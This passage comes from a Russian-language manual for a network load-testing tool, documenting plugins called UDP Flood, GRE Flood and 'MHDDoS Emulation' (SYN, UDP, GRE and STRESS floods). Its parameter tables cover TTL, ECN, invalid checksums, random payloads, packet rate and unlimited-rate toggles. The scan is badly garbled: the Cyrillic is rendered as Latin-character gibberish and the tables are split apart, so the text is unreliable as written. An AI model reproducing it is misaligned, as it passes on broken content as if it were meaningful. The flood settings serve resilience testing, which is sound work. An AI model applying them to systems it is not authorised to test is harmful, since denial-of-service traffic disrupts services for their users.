UDP Flood — narun juist renepanuu Tpaduka, KOTOpbIi oTmpasisier 60ibmoit 00sem UDP-

IMAKETOB Ha IICJICBOU CCPBECP, YTO MOKCET IIPUBCCTU K UCUCPITIAHUIO HpOHYCKHOﬁ CIIOCOOHOCTH

U Teperpy3Ke pecypcoB cepBepa. OTOT I1a0JIOH MO3BOJSET MPOTECTUPOBATH YCTOMUHMBOCTH

CEeTH K aTtakam, ucnoib3yroumum UDP-Tpaduxk.

Z[aHHLIfI IJIaruH COCTOUT U3 CIICAYIOIIUX ITapaMETPOB:

a) VcTouHMKM — BEIOpaHHBIN areHT, HHTEepdeiic, ¢ KOTOPOro areHT OyAeT OTIPABIATH

U OpUHHUMATh TpaQuUK U OOBEKT OTHpaBUTENb (CM. 3arojoBok 5.2.2.1 wmm 5.2.2.2) g

reHepanuu Tpaduka;

6) Llenu — BeIOpaHHBINM 0OBEKT MOMyUYaTENb (CM. 3aroJIoBOK 5.2.2.3);

B) [P 3aronoBok (L3) — mapametpsl HacTpoek IP 3aronoBkoB Ha yposHe L3 TPC/IP,

OIMCaHue KOTOPBIX yKa3aHbl B Ta0n. 74;

Tada. 74 — IHapametpsl «IP 3aronosoxk (L3)»

Ha3Banmue

Onucanmne

3uauenue

Live)

TTL (Time to [Tapamerp TTL ompegenser MmakcuMajibHOE
KOJIMYECTBO  MAapIIPyTH3aTOPOB  (XOIIOB),
yepe3 KOTOpbIe MOXET MPOUTH MaKeT

JTAaHHBIX, MPEXKIC YeM OH OyAeT OTOPOIICH.

3anaiite YHCIIOBOE 3HaYCHNE (o
yMonuaHuio, 3Hauenue TTL  sBusercs:

«128»)

ToS (Type of
Service)

DSCP — »310 mnosnie B 3aronoBke IP-nakera,
KOTOPOE HCIOJB3YETCsl ISl  ONPEACICHHUS
npropuTeTa u 00paboTKH Tpaduka

3anaiite YUCJIOBOE 3HAUECHUE (o
ymomganmio, 3HaueHne DSCP apnsercs: «7»)

ECN — »T0 MexaHU3M, KOTOPBIH MO3BOISET
MapupyTU3aTopaM yBEIOMISTH Y3Ibl O
neperpyskax B ceTu 6e3 coOpoca ImakeTos.

BLI6€peT€ 3HAYCHHUEC U3 CIINCKa:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

U3m.

Jlucm

Ne dokym.

lModnucs |dama
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‘ ‘ 11 (CE (Congestion Experienced)) |

r) Ilapamerpsl mnaruHa — napameTpbl HacTpoek iaruHa UDP, onucanue KoTopbix

yka3anbl B Tabm. 75.

Taba. 75 — Ilapametpsl «Ilnaruna»

Ha3zpaHnue Onucanune 3HaueHue
HeBanuanas yek-cymma Yek-cymma ucnonssyercst B UDP- | BkiatoueHne wiM — BBIKIIOUEHHE
MaKeTax TSt MPOBEPKH | TymOiIepa

LIEJIOCTHOCTH JaHHBIX. Y CTaHOBKA
HEBAJIMJHOMN YEK-CYMMBI O3HA4aeT,
YTO OTIIPaBJIsIEMbIC MAKEThl OyayT
coJepKaTh HEIPaBUWIBHOE
3HAYEHUE YEK-CYMMBI, YTO MOXKET
IIPUBECTH K TOMY, YTO I10JIy4aTeib
OTBEprHET OTH IAKEThl  HJIHU

00paboTaeT UX HETPaBIIBHO.

OTnpaBiATh neinoasn [lelinoan — 3TO naHHbBIE, KOTOpbIE | BKitoueHne WM BBIKIIOYEHHUE
nepenarorcss B UDP-makere. B | TymOGnepa

JTAHHOM ciayyae napamerp
yKa3blBaeT Ha HEOOXOJAMMOCTh
OTIIPAaBKM IE€HJIoana BMECTE C

UDP-makeToMm

Ecmu tymbnep «OTmpaBisaTh meinoamn BKIIOYCH

Crny4aiiHble JaHHBIE OToT mapaMeTp moApa3syMeBaeT, | BkiloueHne WnM  BBIKIIOUEHHE
YTO COAEPKMMOE Tieiioana Oyner | Tymbuepa

TE€HEpUPOBATHCS CIIy4aitHbIM
o0pa3oM. DTO MOXET BKIIIOYATh
cilydaiiHple OaifThl WM CTPOKH,
9TO  JemaeT  TpadUK ~— MEHee

MIPEICKa3yeMbIM.

Ecmu tym6nep «CiydaiiHple TaHHbBIE» BBIKIIIOYCH

Base64 ctpoka VYkasbIBaet, OyAeT i coepkuMoe | BrirroueHne WM BBIKIIOYCHUE
meioaa  MHTEPIPETHPOBATHCS | TymOiepa
WM KoOupoBaThCsi Kak Base64

CTpOKa

Pa3mep neiinoama OTOT  mapaMeTp  ompeaenseT | 3amaTh YHCIOBBIE 3HAUYEHUS (110
pa3mep naHHbIX B neinoane UDP- | ymom4yaHuio, 3Hau€HUE YKa3aHO:
rakera. 3HaueHue Moxet | «0-1300»)

BapsupoBathkes ot 0 1o 1300 GaidT.

Jlucm
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n) IlapameTrpbl cKOpOCTH — MapaMeTp, OTBEUAIOLIHI1 32 CKOPOCTh NEpejaun MAaKeTOB,

OIMCaHuEe KOTOpOro ykazaHo B Tabn. 76;

Taba. 76 — IlapameTp «CKOpPOCTHY»

HazBanmue Onucanmne 3HaueHnmne
Tymbnep  «be3 | MakcumanbHass TPOU3BOJUTENLHOCTE 0€3 | BKIIIOYHTH/BBIKIIOYUTH
OTpaHUYECHUS OTpaHMUYEHUN Ha KOJ-BO OTIPABIISIEMBIX

3aMpocoB B CEKYHAY
ITakeToB B | Kakoe KOJIMYECTBO aKeTOB Oyzer | 3amaiiTe YUCIOBOE 3HAUCHHE
CEeKyHIy OTMPaBJIEHO B OJIHY CEKYHIY
HurepBan mexnay | Onmust TO3BOJSET HACTPOUTH 3aACPXKKy | 3amaiiTe YMCIIOBOE 3HAUCHUE
OTIPaBKOH MEXAy OTHPAaBKOM 3aJaHHOrO  KOJI-Ba
3apoCcoB 3alpoCOB B CEKYHIY.

e) HJ'II/ITCJ'IBHOCTB - IapamMeTp, OTBEYAIONUH 3a BpCMms pa6OTH IJ1ariHa, OnucaHuc

KOTOpOro ykazaHo B Tabn. 77.

Taba. 77 — IHapamerp «I1UTeIBHOCTD)

HasBanmue Onucanmne 3HaueHune
JlmuTenbHOCTh Bpewms rerepanun tpaduka 3ajaiiTe YMCIOBOE 3HaUEHUE W BhIOEpeTe
reHepanuu BENUYMHY (B CEKyHIaX, MHHYTax WU

yacax)

5.3.1.15 GRE Flood

GRE Flood — mnarun ays renepainuu Tpaduka, KOTOpbIA T€HEpUPYET U OTIPABISET OOJIBIIIOE

koinuecTBO makeToB ¢ 3aroioBkoM GRE (Generic Routing Encapsulation) c¢ uenbro

HEPErpy3UTh NPOIYCKHYIO CIOCOOHOCTD CETH.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIMX TapaMeTPOB:

a) VcrouHuku — BeIOpaHHBIN areHT, HHTEp(deiic, ¢ KOTOPOTo areHT 0y1eT OTIPABIATH

U NpUHUMATh TpapuK U OOBEKT OTHpaBuUTeNb (CM. 3aroioBok 5.2.2.1 wmm 5.2.2.2) nns

reHepanuu Tpapuka;

0) Llenu — BEIOpaHHBINM 0OBEKT MOMyUYaTENb (CM. 3aroJIOBOK 5.2.2.3);

B) IP 3aronoBok (L3) — mapamerpsl HacTpoek IP 3aronoskoB Ha yposHe L3 TPC/IP,

oIMcaHue KOTOPBIX yKa3aHbl B Ta0n. 78;

U3m.

Jlucm

Ne dokym.

lModnuck
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Tabua. 78 — Ilapametps! «IP 3aroaosok (L3)»

Ha3zBanme Onucanue 3nayeHue
TTL (Time to | Ilapamerp TTL ompenenser makcumanbHoe | 3anaite YHUCTIOBOE 3HaAYCHHUE (o
Live) KOJIMYECTBO  MapIIPYTU3aTOPOB  (XOMOB), | yMonuaHutoo, 3HaueHue TTL  sBusercs:
gepe3 KOTOpbIE MOXeT TMpoHTH makeT | «128y)
JTAaHHBIX, MPEKIC YeM OH OyAET OTOPOIICH.
ToS (Type of | DSCP — arto none B 3arosnoBke IP-makera, | 3anaiite YHUCJIOBOE 3HaYeHUE (mo
Service) KOTOpOE HCIONB3YeTCs U OMpelneieHus | ymonuaHuto, 3HadeHue DSCP sBusietcs: «7»)

npuopuTeTa 1 00paboTku Tpaduka

ECN — »T0 MexaHU3M, KOTOPBIH MO3BOJISET
MapIIpyTH3aTOpaM yBEIOMISATH Y3JIbl O
meperpyskax B ceTu 0e3 cOpoca ImaKkeToB.

BriOepere 3HauCHHE U3 CIIHCKA:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

r) Ilapamerpsl ckopocTH — mapamMeTp, OTBEUYAIOLIHI 32 CKOPOCTh NIEPEJauy IAKETOB,

oInMcaHue KOToporo ykaszaHo B Tabmn. 79;

Taba. 79 — IlapameTrp «CropocTb»

HazBanmue Onucanmne 3Hauenue
Tymbnep «be3 | MakcumanpHasi MPOU3BOJUTENHLHOCTh 03 | BKIIOYNTH/BBIKIIIOUNTE
OTpPaHUYCHUS» OTpPaHWYCHUH Ha KOJ-BO OTHPABIIEMBIX

3aIpoOCOB B CEKYHIY
ITakeToB B | Kakoe  konmuectBo  makeroB — OyzeT | 3amaiiTe 4MCIOBOE 3HAYCHUE
CEeKyHIY OTMPaBJIEHO B OJIHY CEKYHY
WurepBan mexnay | Onuusi MO3BOJSET HACTPOUTh 3aACPXKKy | 3amaiiTe 4MCIOBOE 3HAUCHUE
OTIIPAaBKOH MEXIy OTIPaBKOW 3aJaHHOTO  KOJ-Ba
3aIpocoB 3aIpOCOB B CEKYHY.

,[[) Z[J'II/ITCJ'ILHOCTB - [mapameTp, OTBEYAIONIUM 3a BpeMA pa6OTBI IJ1aruHa, OnrucCaHue

KOTOporo ykazaHo B Tabm. 80.

Tada. 80 — [Mapamerp «I1uTeIBHOCTD)

HasBanue Onucanne 3HayeHune
JnurenpHOCT Bpewms renepariu Tpaduka 3anaiiTe 4nciIOBOE 3HAYCHHWE M BRIOEpETE
TeHepannu BEIMYUHY (B CEKyHJIaX, MUHYyTax WA

gacax)

5.3.1.16 MHDDoS Emulation

MHDDoS Emulation — mpmaruH anas sMmyiasuuu pa3iuddbix TunoB DDoS-atak ¢ nensio

TECTHPOBAHUS YCTOWYMBOCTH U 3AIIUTHI CETEBOM HHAPACTPYKTYPHI.

I[aHHLIﬁ IIariH  COCTOUT U3 MOAIIJIAarMHOB HUMXKC,

HE0OXOIMMOCTH C TPe]] HACTPOSHHBIMH MapaMeTpaMHu.

KOTOPBIC MOXKHO BKJIHOYAaTb [IpU

U3m.

Jlucm

Ne dokym.

lModnucs |dama
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5.3.1.16.1 SYN Flood

SYN Flood — moammarun juis reHepauuu Tpadpuka, B KOTOPOM OTIpaBiseTcs OOIbIIOE
KOJIMYECTBO 3ampocoB Ha ycraHoBieHue TCP-coemunenus (SYN-makersl) 0e3 3aBepiieHUs
npoiiecca.
JIaHHBIH TUTarMH COCTOUT U3 CJIEAYIOIINUX TapaMeTPOB:

a) Tymbnep «AKTUBHPOBATH MOAIJIATUHY» - JJIS BKIIOUEHUS MOJIUIarMHA B PaMKax
mwiaruaa «MHDDoS Emulationy.

6) WcTounuku — BEIOpaHHBIN areHT, HHTEpQeEiic, C KOTOPOTo areHT OyAeT OTIIPABIATH
U TpUHUMATh TpahuK U OOBEKT OTHNpaBHUTENb (CM. 3aroyioBok 5.2.2.1 wmmm 5.2.2.2) nusa
re’Hepanuu Tpaduka;

B) llenu — BrIOpaHHBIN OOBEKT MOTyYaTENb (CM. 3aroJioBoK 5.2.2.3);

r) [P 3aronoBok (L3) — mapamerpsl HacTpoek [P 3aronoBkoB Ha yposue L3 TPC/IP,

oIMcaHue KOTOPbIX yKa3aHbl B Tabn. 81;

Taoa. 81 — IMapametpsl «IP 3aronosox (L3)»

Ha3panue Onucanue 3HayeHue
TTL (Time to | lapamerp TTL ompenensier makcumanbHoe | 3agaire YUCTIOBOE 3HAYCHHUE (o
Live) KOJIMYECTBO MAapIIPYTHU3aTOPOB  (XOMOB), | yMonNdaHutoo, 3HaueHme TTL sBusercs:

gepe3 KOTOpbIE MOXeT TMpoHTH TakeT | «128»)

JITAaHHBIX, IPEXKIE YeM OH OyAeT OTOPOIIeH.

ToS (Type of | DSCP — arto mnone B 3arosnoBke IP-makera, | 3anmaiite YUCIIOBOE 3HauUEHUE (mmo
Service) KOTOpOE HCIONB3yeTCs ISl ONpeAeieHHs | ymordaHwuio, 3HaueHune DSCP sBnsercs: «7»)
npuopuTeTa 1 00paboTku Tpaduka

ECN — »T0 MexaHHu3M, KOTOpBIN o3BoseT | Bribepere 3HaUCHNE U3 CIIUCKA:
MapILIpyTH3aTOpaM  YBELOMIATH  y3Ibl O | 00 (Non-ECT)

neperpyskax B ceTn 6e3 coOpoca ImakeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
CrnyuaitHblii YHUKaNbHBIA ~ WAEHTU(HUKATOP  TaKeTa, | BKIIOYMTH/BBIKIIOUYUTH TyMOIIEp
ID BEIODAaHHBIH  CIy4alHBIM  00Opa3oM Ui
pa3nudeHnst GparMeHTOB OJTHOTO M TOTO XKe
IP-nakera
3unagenue [D UncnoBoil HMIEHTU(PHUKATOP, NPHUCBOCHHBIA | 3amaiiTe YHUCIIOBOE 3HAYEHUE (o
KaKIOMY IP-nakety JUIS €ro | yMomuaHutoo, 3HaueHue «3HaueHue ID»
uneHTnduKanuu 1pu  pparmeHTanuu U | sBiusercs: «0-65535»)
cOopke

[Tapamerp [JOCTyNEH, €CIH  Hapamerp

«Cryuaitapiii IDy» BBIKITIOUEH

n) TCP 3aronosok (L4) — napamerpsl HacTpoek IP 3aronoskos Ha yposHe L4 TPC/IP,

OIMCaHue KOTOPBIX yKa3aHbl B Ta0m. 82;

Jlucm
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Tabua. 82 — ITapamerpsl «TCP 3aronosok (L4)»

CerMeHTa)

Ha3zBanme Onucanue 3Hauenue
Max. Segment Size | MakcumanbpHBIN pa3Mep CerMEHTa | 3amaidTe YUCIIOBOE 3HaueHHe (10
(MakcuManbHBINA pasmep

oInpeenser MaKCHUMaJIbHbIN
00bEM JIaHHBIX, KOTOPBIA MOXET
ObiTh mepemaH B oxgHoMm TCP-

CCIMCHTC

YMOJI4YaHUIO, 3HA4YCHUC Max.

Segment Size sBistercst: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCS K MEXaHU3My
MacmrabupoBanuss okHa TCP,
KOTOPBIIl IO3BOJSIET YBEIHUYUTH
pasMep OKHa Uil yHOpaBJICHUS
MTOTOKOM JaHHBIX.

3anaiite 4MciIOBOE 3HaueHHE (T10
YMOJTYaHHIO, 3Ha4YeHUE WS
ABIISETCA: «64»)

Window Size (Pa3mep okHa)

Pasmep oxna TCP ompenenser
00bEM IIaHHBIX, KOTOPBIA MOXET
OBITh OTIpaBICH 0€3 OXHUIAHHS
MOJTBEPIKACHHS OT MOJTy4aTeIs.

3anaiiTe 4nciIoBOoe 3HadeHHE (TI0
yMoJl4aHuoo, 3HaueHue Window
Size sBnsiercs: «256»)

Crnyuaiinsiii Sequence Number

CnyyaliHOE 4YMCIO, UCIIOJIB3YEMOE
TSt MHHULHATH3aLUH
TIOCJIEI0BATEILHOCTH HOMEPOB B
MIPOTOKONAX CBA3M  (Hampumep,
TCP)

BKITIOYHTE/BBIKITIOUUTH TYMOJIED

3navyenue Sequence Number

Tekymee qUCIIO B
MOCJIEI0BATCIIBHOCTH,
YKa3bIBaloIlee MOPSAOK JaHHBIX B
MOTOKE Mepenadn

3amaiiTe YHUCIOBOE 3Ha4YcHHE (ITO
YMOJUaHHIO, 3HaueHHe Sequence
Number SIBJISIETCSL: «0-
4294967295»)

e) IlapameTpbl ckOpoCTH — MapameTp, OTBEYAIOIINA 32 CKOPOCTh Mepeaaun MaKkeToB,

oInMcaHue KOTOoporo ykazaHo B Ta0mn. 83;

Ta6a. 83 — Ilapamerp «CkopocTb»

HazBanmue

Onucanmne

3nauenue

Tymonep  «bes

MaxkcumanpHas MNPpOU3BOAUTCIIBHOCTD 0e3

BKIIIOYNTE/BEIKIIOUNATE

OTPaHWYEHHS» OTPaHUYCHUH HA KOJI-BO OTIPABISICMBIX | [0 yMOMYAHMIO, TyMOJIEp BKIIOUEH.
3aIpOCOB B CEKyHIY

ITakeToB B | Kakoe  kommuectBo  makeroB  Oyner | 3amaiiTe YMCIIOBOE 3HAYCHUE

CCKyHIY OTMPABJICHO B OJIHY CCKYHIY I[Io yMom4aHUIO BBICTAaBIEHO 3HAYCHHE:

10.

WuTepBan mexny
OTIPaBKOMH
3aIpocoB

Onnusg Mo3BOISIET HACTPOUTH  3aAEPIKKY
MEXAYy OTIPaBKOM 3aJaHHOIO  KOJI-Ba
3aMpOoCOB B CEKYHIY.

3agaiiTe YUCIOBOE 3HAUYEHNE

5.3.1.16.2 UDP Flood

UDP Flood — nmoannarun /i reHepanuu Tpaduka, KOTOPBIA OTHpaBisieT OoybLION 00beM

UDP-nakeToB Ha LEIEBOM CEpBEpP, YTO MOKET NPUBECTH K HCUEPHAHUIO MPOITYCKHON

CTIIOCOOHOCTH U TIEpETPY3Ke PECYpCoB cepBepa.

JIaHHBIN IUIArWH COCTOUT U3 CIEAYIOUIMX TapaMETPOB:

U3m.

Jlucm

Ne dokym. lModnucs | dama
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a) TymOnep «AKTMBHPOBATH MOAIIATUH» - Ul BKIIOYEHUS MOAMJIArMHA B PaMKax
wiaruHa «MHDDoS Emulationy.

6) WcTounuku — BEIOpaHHBIN areHT, HHTEpQeiic, C KOTOPOTo areHT OyAeT OTIIPABIATH
U TNpUHUMATh TpapuK U OOBEKT OTHpaBUTeNb (CM. 3aroioBok 5.2.2.1 wmm 5.2.2.2) nns
reHepanuu Tpapuka;

B) llenu — BBIOpaHHBIN OOBEKT MOTyYaTENb (CM. 3aroJioBok 5.2.2.3);

r) IP 3aronoBok (L3) — mapametpsl HacTpoek [P 3aronoskoB Ha yposue L3 TPC/IP,

OIMCaHMe KOTOPBIX yKa3aHbl B Tabn. 84;

Ta6u. 84 — ITapamerps! «IP 3aronosoxk (L3)»

Ha3Banme Onucanue 3HaveHune
TTL (Time to [Mapametrp TTL omnpenenser makcumanbHOE | 3ananTe YHCIIOBOE 3HAYCHHEC (o
Live) KOJMYECTBO MapIIPyTU3aTOPOB  (XOMOB), | ymMonauaHuio, 3HaueHue TTL sBisercs:

gepe3 KOTOpbIE MOXeT TMpoHTH makeT | «128y)

JIAHHBIX, TIPEXK/IE YeM OH OyJeT OTOpOILeH.

ToS (Type of | DSCP — arto mone B 3aronoBke IP-makera, | 3anaiite YHUCIIOBOE 3HauUCHUE (o
Service) KOTOpOE HCIONB3YeTCs JUIS OMpeleieHus | ymonuaHuto, 3HadeHne DSCP sBisetcs: «7»)
npuopuTeTa 1 00paboTKH Tpaduka

ECN — »T0 MexaHHU3M, KOTOpBIN 03BoAseT | Bribepere 3HaUCHHUE U3 CIIUCKA:
MapIIpyTH3aTOpaM  YBELOMIATH Y31l O | 00 (Non-ECT)

neperpyskax B ceTr 6e3 coOpoca ImakeTos. 01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

1) Ilapamerpsl ruaruHa — napaMeTpsl HacTpoek miaaruHa UDP, onucaHne KOTOpbIX

yka3zanbl B Ta0n. 85.

Taoa. 85 — Ilapamerpsl «Ilinarunaay

Ha3Banue Onucanne 3HaveHue
Heanunnas yex-cymma Yek-cymma ucnoassyercs B UDP- | BkiroueHue wiM — BBIKIIOYEHUE
naKeTax IS MPOBEPKH | TyMOsepa

IIEJIOCTHOCTH JAHHBIX. Y CTaHOBKa
HeBaJ'II/I}lHOI\/i lIE)K—CyMMBI O3Ha4acrT,
YTO OTHPAaBISIEMBIC MAKETHl OYAyT
CoZepKaTh HENPaBWIBHOE
3HAYEHUE YEK-CYMMBI, YTO MOXKET
TIPUBECTH K TOMY, YTO IOJIy4aTellb
OT BeereT 9T IIAKEThI 1501840

00paboTaeT uX HeNPaBIIBHO.

OTnpaBiATh N0 Ileitnoan — sTo gaHHbIE, KoTOphIEe | [0 YMOJIYaHHIO, TyMOIIEp

nepenatorcsis B UDP-nakere. B | Bitouen
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JTAaHHOM ciayyae napamerp
YKa3plBa€T HA HEOOXOIUMOCTH
OTIIPaBKM IE€iyloaa BMECTE C

UDP-makeToMm

CrnygaiiHBIe TaHHBIC

OTOT mapameTp NOAPa3yMEBaeT,
9TO comepkuMoe Tieitnoana Oyner
TEHEPUPOBATHCS CITy4aifHbIM
o0pa3oM. DTO MOXKET BKIIIOYATh
ciydaliHple OaWTBl WJIN CTpPOKH,
4yro  jgenaet  TpaduK ~ MeEHee

IpEeACKa3yCeMbIM.

ITo YMOJTYaHHIO, TymOep

BKJIIOYCH.

Pasmep neinoana

DTO0T mapameTp ompenenser
pa3mep naHHbIX B neinoane UDP-
MaKera. 3HaueHne MOKET

BapsupoBatkcs oT 0 1o 1300 OaifT.

Ilo YMOJ4YaHUIO, 3HAa4YCHUC

ykazaHo: «1024»)

e) IlapameTpbl ckopocTH — apameTp, OTBEYAIOIINI 32 CKOPOCTh Nepeaaun MaKkeToB,

oIMcaHue KOTOPOro ykazaHo B Ta0in. 86;

Tabua. 86 — Ilapamerp «CropocTb»

HasBanmue

Onucanmne

3HaueHnmne

Tymonep  «bes

MakcumanabHas MNPpOU3BOAUTCIIBHOCTD 0e3

BKIIIOYNTE/BEIKIIOUYNATE

OTPaHWYEHHS» OTPAaHUYCHUH HA KOJI-BO OTHPABISICMBIX | [[o yMOMYAHMIO, TyMOJIEp BKIIOUEH.
3aIpOCOB B CEKyHIY

ITakeToB B | Kakoe  kommuectBo  makeroB  Oyner | 3amaiiTe YMCIIOBOE 3HAYCHUE

CCKyHIY OTMPABJICHO B OJIHY CCKYHIY Ilo ymMom4aHHIO BBICTABJIEHO 3HAYEHUE:

10.

WHuTepBan Mexay
OTIPaBKOMI

3ampoCcoB

Onmusa Mo3BOJSIET HACTPOUTH  3aEPXKKY
MEXIy OTIpaBKOH 3aJaHHOTO  KOJ-Ba
3aMpoCcoB B CEKYHY.

3ajiaiiTe YMCI0BOE 3HAUCHUE

5.3.1.16.3 GRE Flood

GRE Flood — nmarun 11 renepanuu Tpaduka, KOTOPbIi TeHepupyeT U OTIpaBIsIeT O0IbIIoe

konmuyecTBO maketoB c 3arosioBkoM GRE (Generic Routing Encapsulation) ¢ menbro

HEeperpy3uTh MPOMYCKHYIO CIOCOOHOCTb CETH.

I[aHHLIfI IJIarvuH COCTOUT U3 CIICAYIOIIUX MTapaMCTPOB:

a) TyM6ﬂep «AKTI/IBI/IpOBaTB MNOATIIaTvuH» - U BKIFOUCHUA MOAIUIArnHa B paMKax

mwraruaa «MHDDoS Emulationy.

6) Vcrounuku — BeIOpaHHBIN areHT, HHTEp(deiic, ¢ KOTOPOTo areHT 0y1eT OTIPABIATh

Y IPUHUMATD TpaQUK U 00BEKT OTHPABUTENH (CM. 3arojioBok 5.2.2.1) mysa reHepanuu Tpaduka;
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B) llenmu — BBIOpaHHBIN OOBEKT MOTyYaTENb (CM. 3aroJioBok 5.2.2.3);

r) IP 3aronoBok (L3) — mapamerpsl HacTpoek IP 3aronoskoB Ha ypoue L3 TPC/IP,

OIMCaHMue KOTOPBIX yKa3aHbl B Tabn. 87;

Ta6u. 87 — Ilapametps! «IP 3aronosoxk (L3)»

Service)

Ha3zBanme Onucanue 3HaveHue
TTL (Time to [Mapamerp TTL ompenenser makcumanbHoe | 3ajgaiiTe YHCIIOBOE 3HaYCHUE (mo
Live) KOJIMYECTBO  MAapIIPYTU3aTOpPOB  (XOMOB), | yMonuaHutoo, 3HadeHue TTL sBnsercs:
gepe3 KOTOpbIE MOXeT MpoHTH makeT | «128»)
JTAaHHBIX, PEXIE YeM OH OyAeT OTOPOIIeH.
ToS (Type of | DSCP — 310 mome B 3aromoBke [P-makera, | 3amaiite YHUCIIOBOE 3HaYCHUE (o

KOTOpOE HCIOIb3YeTCsl ANA OIpeneleHHs
npuopuTeTa 1 00paboTkH Tpaduka

yMomuanuio, 3HaueHue DSCP apnsercs: «7»)

ECN — »T0 MexaHHU3M, KOTOPHIH MO3BOJISIET
MapIIpyTH3aTOpaM yBEIOMIISATH Y3JIbl O
neperpyskax B ceTr 6e3 coOpoca ImakeTos.

Beibepere 3HaUCHUE U3 CITUCKA:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

n) IlapameTpsl CKOpPOCTH — MapaMeTp, OTBEUYAIONIHII 32 CKOPOCTh NEpeaun MAKeTOB,

oIMcaHue KOToporo ykazaHo B Ta0mn. 88;

Ta6u. 88 — Ilapamerp «CkopocTb»

HasBanmue Onucanne 3nauenne
Tymbnep «be3 | MakcumanpHasi TPOU3BOJUTENHLHOCTh 0€3 | BKIIOYNTH/BBIKIIOUNTH
OFpaHI/IlIeHI/ISI» OFpaHI/IlIeHI/Iﬁ Ha KOJI-BO OTHpaBHﬂeMLIX HO yMOanHI/IIO, TyM6J'I€p BKJIFOUEH.
3aIlIPOCOB B CEKYHAY
IlakeToB B | Kakoe  KkojgnWdecTBO  IaKkeTOB Oyzer | 3amaiiTe YUCIOBOE 3HAUCHHE
CEKynn1y OTHPABJICHO B OHY CEKYHIY Ilo yMOM4aHMIO BBICTABJIEHO 3HAYECHUE:

10.

OTIPaBKOH
3aIpoCcoB

HurepBan mexiay

Onuust TO3BOJISIET HACTPOHUTH  3aJIEPIKKY
MEXIy OTHpPaBKOW 3aJaHHOTO  KOJ-Ba
3aIpOCOB B CEKYH/IY.

3agaiiTe YUCIOBOE 3HAUYEHUE

5.3.1.16.4 STRESS

STRESS — noannarux ans reHepanuu Tpapuka, KOMOMHUPYIOIINHM pa3InyHbIE TUITBI HATPY30K

JIJIsI MAaKCUMAaJbHOI'O BO3/IEHCTBHS Ha CUCTCMY.

I[aHHLIfI IJIarvuH COCTOUT U3 CIICAYIOIIUX ITapaMCTPOB:

a) TymOnep « AKTUBHPOBATH MOATIUIATHHY - JJIS BKJIIOYEHUS MOAIUIATHHA B paMKax

mwraruaa «MHDDoS Emulationy.

6) WcTouHuku — BEIOpaHHBIN areHT, HHTEepdeiic, ¢ KOTOPOro areHT OyAeT OTIIPABIATH

Y IPUHUMATD TpaQUK U 00BEKT OTHPABUTENH (CM. 3arojoBok 5.2.2.1) mys reHepanuu Tpaduka;
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B) llenmu — BBIOpaHHBIN OOBEKT MOTyYaTENb (CM. 3aroJioBok 5.2.2.3);

r) IP 3aronoBok (L3) — mapamerpsl HacTpoek IP 3aronoskoB Ha ypoue L3 TPC/IP,

OIMCaHMue KOTOPBIX yKa3aHbl B Tabn. 89;

Ta6u. 89 — Ilapametps! «IP 3aronosoxk (L3)»

Service)

Ha3zBanme Onucanue 3HaveHue
TTL (Time to [Mapamerp TTL ompenenser makcumanbHoe | 3ajgaiiTe YHCIIOBOE 3HaYCHUE (mo
Live) KOJIMYECTBO ~ MAapIIPyTH3aTOPOB  (XOMHOB), | yMoiuyaHuto, 3Hauenne TTL sBusercs:
gepe3 KOTOpbIE MOXeT MpoHTH makeT | «128»)
JTAaHHBIX, PEXIE YeM OH OyAeT OTOPOIIeH.
ToS (Type of | DSCP — 310 mome B 3aromoBke [P-makera, | 3amaiite YHUCIIOBOE 3HaYCHUE (o

KOTOpOE HCIOIb3YeTCsl ANA OIpeneleHHs
npuopuTeTa 1 00paboTkH Tpaduka

yMomuanuio, 3HaueHue DSCP apnsercs: «7»)

ECN — »T0 MexaHHU3M, KOTOPHIH MO3BOJISIET
MapIIpyTH3aTOpaM yBEIOMIISATH Y3JIbl O

Beibepere 3HaUCHUE U3 CITUCKA:
00 (Non-ECT)

neperpyskax B ceTr 6e3 coOpoca ImakeTos.

01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))

n) TCP 3aronosok (L4) — mapamerpsl HacTpoek [P 3aronoskos Ha ypoBHe L4 TPC/IP,

oIMcaHue KOTOPBIX yKa3aHbl B Ta0n. 90;

Tabua. 90 — ITapamerpsl «TCP 3aronosok (L4)»

Ha3Banme Onucanne 3HaueHne
Max. Segment Size | MakcuManbpHBIA pazMep cerMeHTa | 3ajaiiTe 4YucIoBO€ 3HadeHue (1o
(MakcumanbHpii pasMep OIIpeNeNsieT MAaKCHUMAaJIbHbIM | YMOJYaHMIO, 3HayeHue  Max.
CETMEHTa)

00BbEM TAHHBIX, KOTOPBIH MOXKET
ObITh Tepean B omgHoM TCP-

CEIMCHTC

Segment Size sBisercs: «1460»)

WS (IP Options)

Mapamerp WS (Window Scale)
OTHOCHTCS K MEXaHNU3MY
MacmtabupoBanust  okHa TCP,
KOTOPBIH TO3BOJISIET  YBEJIMYHUTH
pasMep OKHa /sl  yNpaBJICHUS
MIOTOKOM JaHHBIX.

3amaiiTe YHUCIOBOE 3Ha4YeHHE (IO
YMOJTYaHHUIO, 3HaYEHUE WS
SIBISIETCS: «64»)

Window Size (Pa3mep okHa)

Pasmep oxna TCP ompenenser
00bEM JTaHHBIX, KOTOPBIA MOIKET
OBITh OTIpaBiICH 0e3 OXHIAHHS
TTOJITBEPKICHUS OT MOITydaTeIs.

3amaiiTe 4YHCIOBOE 3Ha4YeHHE (IO
yMo4aHuioo, 3HadeHue Window
Size sBisieTcs: «256»)

e) Ilapamerpsr HTTP - mapamerpsr nHactpoexk HTTP 3aronoBkoB Ha ypoue L6-L7

TPC/IP, onucanue KOTOpbIX yKka3aHo B Tabn. 91;
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Tabua. 91 — Ilapamerps! «Ilapamerper HTTP»

Ha3zBanmne Onucanue 3HaveHue

HTTPs VYka3bIBaer, HCIIOJIB3YETCS ma | JJa / Her (ykaxure TeKymiee COCTOSHHE
3aIIMIIEHHBIH  MPOTOKON  TEPeAadd | MepeKiIrodaresieM Tymoiepa)
nmauaeix HTTPS

Bepcus TLS Bepcust TLS (Transport Layer Security) | Beibepere 3nauenue TLS v1.2 unu TLS v1.3
OIpeJieIsieT IMPOTOKON  INU(pPOBAHUS,
